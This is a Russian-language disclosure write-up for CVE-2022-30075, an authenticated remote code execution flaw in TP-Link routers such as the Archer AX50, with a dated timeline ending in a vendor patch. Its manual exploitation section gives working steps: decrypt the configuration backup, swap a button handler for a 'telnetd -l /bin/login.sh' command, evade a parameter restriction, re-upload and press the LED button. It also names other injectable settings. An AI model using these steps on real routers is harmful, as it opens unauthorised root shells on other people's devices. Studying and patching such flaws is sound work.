CVE-2022-30075

Аутентифицированное удаленное выполнение кода в маршрутизаторах Tp-Link

Затронутые устройства

Если ваш маршрутизатор Tp-Link имеет функцию резервного копирования и восстановления, а прошивка старше июня 2022 года, он, вероятно, уязвим.

Протестировано на

Tp-Link Archer AX50, другие маршрутизаторы tplink могут использовать другой формат резервных копий, и эксплойт необходимо модифицировать.

PoC

Использование эксплойта для запуска демона telnet на маршрутизаторе

Ручная эксплуатация

1. войдите в веб-интерфейс маршрутизатора
2. перейдите в расширенные -> система -> настройки резервного копирования
3. расшифруйте и распакуйте файл резервной копии

• если ваш маршрутизатор использует другой формат файлов резервных копий, вы можете изменить код эксплойта (класс BackupParser) или просто использовать какой-нибудь инструмент с github:
  https://github.com/stdnoerr/tp_link_credentials_harvester/blob/master/decrypt.py
  https://github.com/ret5et/tplink_backup_decrypt_2022.bin
  ...

4. в расшифрованном xml-файле вы можете найти что-то вроде этого:

<button name="led_switch">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/lib/led_switch</handler>
</button>

• замените его следующими строками

<button name="exploit">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/usr/sbin/telnetd -l /bin/login.sh</handler>
</button>

• существует ограничение, которое блокирует изменение параметра system.button.handler, но его можно легко обойти, изменив имя родительского xml-узла (например, name=\"exploit\")
• выполнение кода может быть достигнуто не только изменением параметра system.button.handler, но также с помощью ddns.service.ip_script, firewall.include.path, uhttpd.main и других...

5. сожмите и зашифруйте измененный файл резервной копии
6. перейдите в расширенные -> система -> восстановление настроек -> загрузите измененный файл резервной копии
7. после перезагрузки нажмите кнопку led, которая запускает выполнение внедренной команды /usr/sbin/telnetd -l /bin/login.sh
8. удаленно войдите на маршрутизатор: telnet 192.168.1.1

Хронология

15.03.2022 - Выявлена уязвимость
15.03.2022 - Связался со службой поддержки Tp-Link
16.03.2022 - Получен ответ от Tp-Link
02.05.2022 - Назначен CVE
27.05.2022 - Tp-Link выпустил прошивку с исправленной уязвимостью
07.06.2022 - Опубликованы технические подробности